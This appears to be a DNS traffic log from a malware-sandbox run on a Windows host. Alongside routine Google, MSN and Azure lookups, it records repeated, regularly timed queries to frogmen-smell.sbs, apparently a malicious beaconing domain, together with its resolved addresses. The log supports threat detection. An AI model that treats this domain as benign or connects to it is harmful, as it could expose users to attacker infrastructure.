Nov 13, 2024 18:08:29.205640078 CET	192.168.2.6	1.1.1.1	0x9cf8	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:29.205755949 CET	192.168.2.6	1.1.1.1	0xeb80	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 13, 2024 18:08:29.301826000 CET	192.168.2.6	1.1.1.1	0x8c4f	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:29.302131891 CET	192.168.2.6	1.1.1.1	0x74d4	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 13, 2024 18:08:29.314351082 CET	192.168.2.6	1.1.1.1	0x5589	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:29.314460993 CET	192.168.2.6	1.1.1.1	0x6ebd	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 13, 2024 18:08:29.317365885 CET	192.168.2.6	1.1.1.1	0x9e66	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:29.317512989 CET	192.168.2.6	1.1.1.1	0x8d59	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 13, 2024 18:08:29.327214956 CET	192.168.2.6	1.1.1.1	0x3a0a	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:29.327487946 CET	192.168.2.6	1.1.1.1	0x825b	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 13, 2024 18:08:30.589653015 CET	192.168.2.6	1.1.1.1	0x8f1d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:30.593008995 CET	192.168.2.6	1.1.1.1	0xf0bd	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 13, 2024 18:08:30.593439102 CET	192.168.2.6	1.1.1.1	0xfb82	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:30.593439102 CET	192.168.2.6	1.1.1.1	0x1406	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 13, 2024 18:08:30.639461994 CET	192.168.2.6	1.1.1.1	0x387e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:30.639826059 CET	192.168.2.6	1.1.1.1	0x70e9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 13, 2024 18:09:12.242100954 CET	192.168.2.6	1.1.1.1	0x9933	Standard query (0)	frogmen-smell.sbs	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:24.966931105 CET	192.168.2.6	1.1.1.1	0xc0bc	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:24.967119932 CET	192.168.2.6	1.1.1.1	0x487e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 13, 2024 18:09:24.968696117 CET	192.168.2.6	1.1.1.1	0x4a3a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:24.968823910 CET	192.168.2.6	1.1.1.1	0xad96	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 13, 2024 18:09:24.970618963 CET	192.168.2.6	1.1.1.1	0x50fd	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:24.970879078 CET	192.168.2.6	1.1.1.1	0x2eb3	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 13, 2024 18:09:38.980046034 CET	192.168.2.6	1.1.1.1	0x70f0	Standard query (0)	frogmen-smell.sbs	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:56.446652889 CET	192.168.2.6	1.1.1.1	0xcc37	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:56.446755886 CET	192.168.2.6	1.1.1.1	0xc098	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 13, 2024 18:09:56.991714001 CET	192.168.2.6	1.1.1.1	0xafc7	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:56.991874933 CET	192.168.2.6	1.1.1.1	0xd85b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 13, 2024 18:09:57.945297003 CET	192.168.2.6	1.1.1.1	0x6726	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:57.945487022 CET	192.168.2.6	1.1.1.1	0x3234	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 13, 2024 18:09:58.348496914 CET	192.168.2.6	1.1.1.1	0x3e32	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:58.348784924 CET	192.168.2.6	1.1.1.1	0xaa67	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 13, 2024 18:10:09.336287022 CET	192.168.2.6	1.1.1.1	0xb801	Standard query (0)	frogmen-smell.sbs	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:10:26.301417112 CET	192.168.2.6	1.1.1.1	0x264a	Standard query (0)	frogmen-smell.sbs	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:10:45.272711039 CET	192.168.2.6	1.1.1.1	0xc651	Standard query (0)	frogmen-smell.sbs	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:10:58.351727009 CET	192.168.2.6	1.1.1.1	0x977a	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:10:58.352031946 CET	192.168.2.6	1.1.1.1	0xc1a4	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 13, 2024 18:11:07.757977962 CET	192.168.2.6	1.1.1.1	0xddc0	Standard query (0)	frogmen-smell.sbs	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:11:20.070521116 CET	192.168.2.6	1.1.1.1	0xc1dc	Standard query (0)	frogmen-smell.sbs	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:11:30.368072033 CET	192.168.2.6	1.1.1.1	0xb0b4	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:11:30.368191004 CET	192.168.2.6	1.1.1.1	0x5baf	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 13, 2024 18:11:37.304554939 CET	192.168.2.6	1.1.1.1	0x946c	Standard query (0)	frogmen-smell.sbs	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:13:00.826561928 CET	192.168.2.6	1.1.1.1	0x5886	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:13:00.826756954 CET	192.168.2.6	1.1.1.1	0xabff	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 13, 2024 18:13:00.827126980 CET	192.168.2.6	1.1.1.1	0xf695	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:13:00.827318907 CET	192.168.2.6	1.1.1.1	0xc688	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 13, 2024 18:15:58.411624908 CET	192.168.2.6	1.1.1.1	0xe078	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:15:58.411624908 CET	192.168.2.6	1.1.1.1	0x71ce	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 13, 2024 18:15:58.411624908 CET	192.168.2.6	1.1.1.1	0x1179	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:15:58.411788940 CET	192.168.2.6	1.1.1.1	0x8dc	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
2024-11-13 17:08:32 UTC	192.168.2.6	162.159.61.3	0x0	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	true

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 13, 2024 18:08:15.230331898 CET	1.1.1.1	192.168.2.6	0x8d08	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:15.230345964 CET	1.1.1.1	192.168.2.6	0x21a1	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 13, 2024 18:08:18.766923904 CET	1.1.1.1	192.168.2.6	0x7f7a	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:18.766923904 CET	1.1.1.1	192.168.2.6	0x7f7a	No error (0)	plus.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:18.767035961 CET	1.1.1.1	192.168.2.6	0xa309	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:19.767205000 CET	1.1.1.1	192.168.2.6	0xa19	No error (0)	play.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:26.222346067 CET	1.1.1.1	192.168.2.6	0x3a46	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:26.226898909 CET	1.1.1.1	192.168.2.6	0x12a	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:26.543997049 CET	1.1.1.1	192.168.2.6	0xcffe	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:26.543997049 CET	1.1.1.1	192.168.2.6	0xcffe	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:26.544135094 CET	1.1.1.1	192.168.2.6	0xdff9	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:27.765526056 CET	1.1.1.1	192.168.2.6	0x37d6	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:27.766006947 CET	1.1.1.1	192.168.2.6	0xe40a	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:29.213474989 CET	1.1.1.1	192.168.2.6	0x9cf8	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:29.213474989 CET	1.1.1.1	192.168.2.6	0x9cf8	No error (0)	googlehosted.l.googleusercontent.com		216.58.206.33	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:29.214557886 CET	1.1.1.1	192.168.2.6	0xeb80	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:29.308950901 CET	1.1.1.1	192.168.2.6	0x8c4f	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:29.308950901 CET	1.1.1.1	192.168.2.6	0x8c4f	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:29.308950901 CET	1.1.1.1	192.168.2.6	0x8c4f	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:29.308950901 CET	1.1.1.1	192.168.2.6	0x8c4f	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:29.321507931 CET	1.1.1.1	192.168.2.6	0x5589	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:29.322263956 CET	1.1.1.1	192.168.2.6	0x6ebd	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:29.325067997 CET	1.1.1.1	192.168.2.6	0x8d59	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:29.327996969 CET	1.1.1.1	192.168.2.6	0x9e66	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:29.334314108 CET	1.1.1.1	192.168.2.6	0x825b	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:29.337918043 CET	1.1.1.1	192.168.2.6	0x3a0a	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:30.598776102 CET	1.1.1.1	192.168.2.6	0x8f1d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:30.598776102 CET	1.1.1.1	192.168.2.6	0x8f1d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:30.601233959 CET	1.1.1.1	192.168.2.6	0xf0bd	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 13, 2024 18:08:30.601635933 CET	1.1.1.1	192.168.2.6	0x1406	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 13, 2024 18:08:30.601664066 CET	1.1.1.1	192.168.2.6	0xfb82	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:30.601664066 CET	1.1.1.1	192.168.2.6	0xfb82	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:30.650213003 CET	1.1.1.1	192.168.2.6	0x387e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:30.650213003 CET	1.1.1.1	192.168.2.6	0x387e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:30.652719975 CET	1.1.1.1	192.168.2.6	0x70e9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 13, 2024 18:08:31.117583036 CET	1.1.1.1	192.168.2.6	0xa29c	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:32.129087925 CET	1.1.1.1	192.168.2.6	0x942	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:32.130503893 CET	1.1.1.1	192.168.2.6	0xd96a	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:32.130503893 CET	1.1.1.1	192.168.2.6	0xd96a	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:32.815260887 CET	1.1.1.1	192.168.2.6	0x8118	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:32.815260887 CET	1.1.1.1	192.168.2.6	0x8118	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:34.225922108 CET	1.1.1.1	192.168.2.6	0x33bf	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:34.225922108 CET	1.1.1.1	192.168.2.6	0x33bf	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:35.166801929 CET	1.1.1.1	192.168.2.6	0x33bf	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:35.166801929 CET	1.1.1.1	192.168.2.6	0x33bf	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:36.173139095 CET	1.1.1.1	192.168.2.6	0x33bf	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:36.173139095 CET	1.1.1.1	192.168.2.6	0x33bf	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:38.189762115 CET	1.1.1.1	192.168.2.6	0x33bf	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:38.189762115 CET	1.1.1.1	192.168.2.6	0x33bf	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:42.191199064 CET	1.1.1.1	192.168.2.6	0x33bf	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:08:42.191199064 CET	1.1.1.1	192.168.2.6	0x33bf	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:12.282100916 CET	1.1.1.1	192.168.2.6	0x9933	No error (0)	frogmen-smell.sbs		172.67.174.133	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:12.282100916 CET	1.1.1.1	192.168.2.6	0x9933	No error (0)	frogmen-smell.sbs		104.21.80.55	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:24.974272013 CET	1.1.1.1	192.168.2.6	0xc0bc	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:24.974272013 CET	1.1.1.1	192.168.2.6	0xc0bc	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:24.974287987 CET	1.1.1.1	192.168.2.6	0x487e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 13, 2024 18:09:24.975514889 CET	1.1.1.1	192.168.2.6	0xad96	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 13, 2024 18:09:24.975800037 CET	1.1.1.1	192.168.2.6	0x4a3a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:24.975800037 CET	1.1.1.1	192.168.2.6	0x4a3a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:24.977739096 CET	1.1.1.1	192.168.2.6	0x50fd	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:24.977739096 CET	1.1.1.1	192.168.2.6	0x50fd	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:24.977926016 CET	1.1.1.1	192.168.2.6	0x2eb3	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 13, 2024 18:09:39.010906935 CET	1.1.1.1	192.168.2.6	0x70f0	No error (0)	frogmen-smell.sbs		172.67.174.133	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:39.010906935 CET	1.1.1.1	192.168.2.6	0x70f0	No error (0)	frogmen-smell.sbs		104.21.80.55	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:56.650448084 CET	1.1.1.1	192.168.2.6	0xc098	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:56.650448084 CET	1.1.1.1	192.168.2.6	0xc098	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:56.650590897 CET	1.1.1.1	192.168.2.6	0x65b0	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:56.650590897 CET	1.1.1.1	192.168.2.6	0x65b0	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:56.650590897 CET	1.1.1.1	192.168.2.6	0x65b0	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:56.650624990 CET	1.1.1.1	192.168.2.6	0xcc37	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:56.650624990 CET	1.1.1.1	192.168.2.6	0xcc37	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:56.650624990 CET	1.1.1.1	192.168.2.6	0xcc37	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:56.650624990 CET	1.1.1.1	192.168.2.6	0xcc37	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:56.650978088 CET	1.1.1.1	192.168.2.6	0xb667	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:56.999032974 CET	1.1.1.1	192.168.2.6	0xd85b	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 13, 2024 18:09:56.999176025 CET	1.1.1.1	192.168.2.6	0xafc7	No error (0)	www.google.com		142.250.185.164	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:57.806926966 CET	1.1.1.1	192.168.2.6	0xea0c	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:57.806926966 CET	1.1.1.1	192.168.2.6	0xea0c	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:57.806926966 CET	1.1.1.1	192.168.2.6	0xea0c	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:57.807964087 CET	1.1.1.1	192.168.2.6	0x870e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:57.952393055 CET	1.1.1.1	192.168.2.6	0x6726	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:57.952393055 CET	1.1.1.1	192.168.2.6	0x6726	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:57.952393055 CET	1.1.1.1	192.168.2.6	0x6726	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:57.952393055 CET	1.1.1.1	192.168.2.6	0x6726	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:09:57.953687906 CET	1.1.1.1	192.168.2.6	0x3234	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:57.953687906 CET	1.1.1.1	192.168.2.6	0x3234	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:58.358433008 CET	1.1.1.1	192.168.2.6	0xaa67	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:09:58.358930111 CET	1.1.1.1	192.168.2.6	0x3e32	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:10:03.862119913 CET	1.1.1.1	192.168.2.6	0xe89d	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:10:03.876789093 CET	1.1.1.1	192.168.2.6	0xb7d8	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:10:09.377827883 CET	1.1.1.1	192.168.2.6	0xb801	No error (0)	frogmen-smell.sbs		104.21.80.55	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:10:09.377827883 CET	1.1.1.1	192.168.2.6	0xb801	No error (0)	frogmen-smell.sbs		172.67.174.133	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:10:12.847548008 CET	1.1.1.1	192.168.2.6	0xdb79	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:10:12.892115116 CET	1.1.1.1	192.168.2.6	0x93a9	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:10:26.327231884 CET	1.1.1.1	192.168.2.6	0x264a	No error (0)	frogmen-smell.sbs		172.67.174.133	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:10:26.327231884 CET	1.1.1.1	192.168.2.6	0x264a	No error (0)	frogmen-smell.sbs		104.21.80.55	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:10:45.320255041 CET	1.1.1.1	192.168.2.6	0xc651	No error (0)	frogmen-smell.sbs		104.21.80.55	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:10:45.320255041 CET	1.1.1.1	192.168.2.6	0xc651	No error (0)	frogmen-smell.sbs		172.67.174.133	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:10:58.365914106 CET	1.1.1.1	192.168.2.6	0xc1a4	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:10:58.366138935 CET	1.1.1.1	192.168.2.6	0x977a	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:11:07.802097082 CET	1.1.1.1	192.168.2.6	0xddc0	No error (0)	frogmen-smell.sbs		172.67.174.133	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:11:07.802097082 CET	1.1.1.1	192.168.2.6	0xddc0	No error (0)	frogmen-smell.sbs		104.21.80.55	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:11:20.079986095 CET	1.1.1.1	192.168.2.6	0xc1dc	No error (0)	frogmen-smell.sbs		172.67.174.133	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:11:20.079986095 CET	1.1.1.1	192.168.2.6	0xc1dc	No error (0)	frogmen-smell.sbs		104.21.80.55	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:11:30.375560045 CET	1.1.1.1	192.168.2.6	0xb0b4	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:11:30.375560045 CET	1.1.1.1	192.168.2.6	0xb0b4	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:11:30.375595093 CET	1.1.1.1	192.168.2.6	0x5baf	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 13, 2024 18:11:37.314883947 CET	1.1.1.1	192.168.2.6	0x946c	No error (0)	frogmen-smell.sbs		172.67.174.133	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:11:37.314883947 CET	1.1.1.1	192.168.2.6	0x946c	No error (0)	frogmen-smell.sbs		104.21.80.55	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:13:00.835391998 CET	1.1.1.1	192.168.2.6	0xabff	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
